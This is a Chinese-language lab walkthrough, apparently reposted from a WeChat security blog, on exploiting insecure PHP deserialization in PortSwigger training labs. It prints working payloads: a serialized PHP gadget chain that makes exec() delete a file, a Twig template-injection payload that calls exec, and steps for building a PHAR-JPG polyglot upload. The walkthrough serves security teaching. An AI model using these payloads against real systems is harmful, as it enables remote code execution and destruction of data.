在本节中,将用PHP、Ruby和Java反序列化的例子指导如何利用一些常见的情况,从而证明利用不安全的反序列化实际上比许多人认为的要容易很多。
如果能使用预先建立的小工具链,在黑盒测试中甚至可以做到这一点。
虽然许多试验和例子都是基于PHP的,但大多数利用技术对其他语言也同样有效。
创建自己的漏洞
通过仔细研究源代码,可以发现更多的小工具链,这些链可能允许构建高严重性,包括远程代码执行。
场景试验-为PHP反序列化开发自定义小工具链:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization
场景说明:
这个试验场景使用了基于序列化的会话机制,通过部署自定义小工具链,可以利用其不安全的反序列化实现远程代码执行。
试验目的:
要完成这个试验,需要删除carlos主目录下的moral.txt文件。
试验提供了一个可登录的账号wiener:peter
攻击过程:
①登录账户后,可以看到会话cookie包含一个序列化的PHP对象。另外可以注意到,这个网站引用了/cgi-bin/libs/CustomTemplate.php文件,通过使用.php~文件扩展名备份文件从而获取源代码
②在源代码中可以看到_wakeup的魔术方法通过引用CustomTemplate中的default_desc_type和desc来创建新的Product
③另外也可以看到DefaultMap类具有_get()魔术方法,如果尝试读取该对象不存在的属性,就会调用这个方法。这个魔术方法调用call_user_func(),它将执行通过DefaultMap->回调属性传递给它的任何函数。这个函数将在$name上执行,这是请求的不存在的属性。
④通过传入下面CustomTemplate对象,可以利用这个小工具链来调用执行
"exec (rm /home/carlos/morale.txt)"
CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
CustomTemplate->desc = DefaultMap;
DefaultMap->callback = "exec"
遵循源代码中的数据流,可以注意到这会导致Product构造函数尝试从DefaultMap对象获取default_desc_type,但由于它没有这个属性,所以_get()方法将调用default_desc_type上的exec()方法,该方法设置为shell命令
⑤将下面的序列化对象进行Base64和URL加密后替换cookie,发送请求即可完成试验
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
PHAR反序列化
到目前为止,主要研究了如何利用网站显示反序列化用户输入的漏洞。然后在PHP中,有时即使没有明显使用unserialize()方法,也可能利用反序列化。
PHP提供了几种URL样式的包装器,可以在访问文件路径时使用它们来处理不同的协议,其中一个就是phar://包装器,它提供了一个用于访问PHP Archive(.phar)文件的流接口。
PHP官方文档显示PHAR清单文件包含序列化元数据,尤其重要的是,如果对phar://流执行任何文件系统操作,那么该元素将被隐式反序列化。这意味着phar://流可能是利用不安全反序列化的向量,前提是可以将流传递到文件系统方法中。
对于有明显危险的文件系统方法,例如include()或open(),网站很可能已经实施了反制措施,以减少它们被恶意使用的可能性。然后像file_exists()这样的方法,虽然没有那么明显的危险,但可能没有得到很好的保护。
这种技术还要求以某种方式将PHAR上传到服务器。例如,一种方式是使用图像上传功能,如果能够创建一个多语言文件,并将PHAR伪装成简单的JPG格式,有事可以绕过网站的验证检查。
如果可以强制网站从phar://流加载这个多语言的"JPG",通过phar元数据注入的任何有害数据都将被反序列化。由于PHP读取流时不会检查文件扩展名,因此文件是否使用图像扩展名并不重要。
只要网站支持对象的类,就可以以这种方法调用_wakeup()和_destruct()魔法方法,允许使用这种技术潜在地启动一个小工具链。
场景试验-使用PHAR反序列化部署自定义小工具链:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain
场景说明:
这个试验场景没有显示使用反序列化,但是,如果将PHAR反序列化与其他高级黑客技术结合起来,仍然可以通过自定义小工具链实现远程代码执行。
试验目的:
要完成这个试验,需要删除carlos主目录下的moral.txt文件。
试验提供了一个可登录的账号wiener:peter
攻击过程:
①这个网站拥有一个上传头像的功能,它只接收JPG图像。可以上传一个有效的JPG作为我们的头像后可以看到,它是使用GET /cig-bin/avatar.php?avatar=wiener加载的
②在BurpSuite中,请求GET /cgi-bin找到一个显示Blog.php和CustomTemplate.php文件的索引,可以通过.php~来获取文件源代码
③研究这两个源代码可以看到涉及到两个小工具链,Blog->desc和CustomTemplate->lockFilePath,在lockFilePath属性上调用了file_exists()文件系统方法
④这个网站还使用了Twig模板引擎,可以使用反序列化传输服务器端模板注入(SSTI)payload,在Twig上查找远程代码执行的记录,并调整它用于删除carlos的文件,调整的语句如下:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
⑤编写PHP来创建一个CustomTemplate和Blog包含SSTI的payload
class CustomTemplate {}
class Blog {}
$object = new
CustomTemplate;
$blog = new Blog;$blog->desc ='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm/home/carlos/morale.txt")}}';
$blog->user = 'user'; $object->template_file_path = $blog;
⑥创建一个包含PHP脚本的PHAR-JPG多语言文件,可以直接在网上搜索下"phar-jpg polyglot",或者用下面的链接下载
https://github.com/kunte0/phar-jpg-polyglot
⑦编辑"phar_jpg_polyglot.php",将其中"pop exploit class"部分用上面payload进行替换
⑧执行下面语句生成带有恶意payload的图片,并将此图片out.jpg作为头像上传
php –c php.ini phar_jpg_polyglot.php
⑨发送phar://的请求,执行远程代码,即可完成本试验
使用内存溢出利用反序列化
即使不使用小工具链,仍有可能利用不安全的反序列化。如果所有其他方法都失败,则通常存在公开记录的内存泄露漏洞,可以通过不安全的反序列化来利用这些漏洞,通常可以导致远程代码执行。
反序列化方法,例如PHP的unserialize()很少针对这类攻击进行强化,并且暴露了大量的攻击面。
这本身并不总被认为是一个漏洞,因为这些方法最初并不打算处理用户可控的输入。
SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):不安全的反序列化-攻击示例(六)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论